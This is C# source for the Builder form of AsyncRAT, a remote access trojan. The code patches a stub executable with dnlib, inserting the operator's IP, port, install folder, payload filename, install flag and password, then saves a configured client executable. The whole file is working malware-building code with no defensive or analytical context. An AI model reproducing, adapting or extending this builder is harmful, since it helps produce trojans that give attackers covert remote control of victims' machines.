109 lines
4.6 KiB
C#
109 lines
4.6 KiB
C#
using System;
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using System.Linq;
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using System.Windows.Forms;
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using dnlib.DotNet;
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using dnlib.DotNet.Emit;
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using System.IO;
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namespace AsyncRAT_Sharp.Forms
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{
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public partial class Builder : Form
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{
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public Builder()
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{
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InitializeComponent();
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}
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private void button1_Click(object sender, EventArgs e)
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{
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if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return;
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if (checkBox1.Checked)
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{
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if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
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if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
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}
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try
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{
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var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe"));
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foreach (TypeDef type in md.Types)
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{
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if (type.Name == "Settings")
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foreach (MethodDef method in type.Methods)
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{
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if (method.Body == null) continue;
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for (int i = 0; i < method.Body.Instructions.Count(); i++)
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{
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if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
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{
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if (method.Body.Instructions[i].Operand.ToString() == "127.0.0.1")
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method.Body.Instructions[i].Operand = textIP.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "6606")
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method.Body.Instructions[i].Operand = textPort.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "%AppData%")
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method.Body.Instructions[i].Operand = comboBoxFolder.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "Payload.exe")
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method.Body.Instructions[i].Operand = textFilename.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "false")
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method.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower();
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if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT")
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method.Body.Instructions[i].Operand = Settings.Password;
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}
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}
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}
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}
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SaveFileDialog saveFileDialog1 = new SaveFileDialog();
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saveFileDialog1.Filter = ".exe (*.exe)|*.exe";
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saveFileDialog1.InitialDirectory = Application.StartupPath;
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saveFileDialog1.OverwritePrompt = false;
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saveFileDialog1.FileName = "Client";
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if (saveFileDialog1.ShowDialog() == DialogResult.OK)
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{
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md.Write(saveFileDialog1.FileName);
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MessageBox.Show("Done", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
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Properties.Settings.Default.DNS = textIP.Text;
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Properties.Settings.Default.Filename = textFilename.Text;
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Properties.Settings.Default.Save();
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this.Close();
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}
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}
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catch (Exception ex)
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{
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MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
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}
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}
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private void checkBox1_CheckedChanged(object sender, EventArgs e)
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{
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if (checkBox1.Checked)
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{
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checkBox1.Text = "ON";
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textFilename.Enabled = true;
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comboBoxFolder.Enabled = true;
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}
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else
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{
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checkBox1.Text = "OFF";
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textFilename.Enabled = false;
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comboBoxFolder.Enabled = false;
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}
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}
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private void Builder_Load(object sender, EventArgs e)
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{
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comboBoxFolder.SelectedIndex = 0;
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textPort.Text = string.Join(",", Settings.Ports.ToList());
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if (Properties.Settings.Default.DNS != null)
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textIP.Text = Properties.Settings.Default.DNS;
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if (Properties.Settings.Default.Filename != null)
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textFilename.Text = Properties.Settings.Default.Filename;
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}
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}
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} |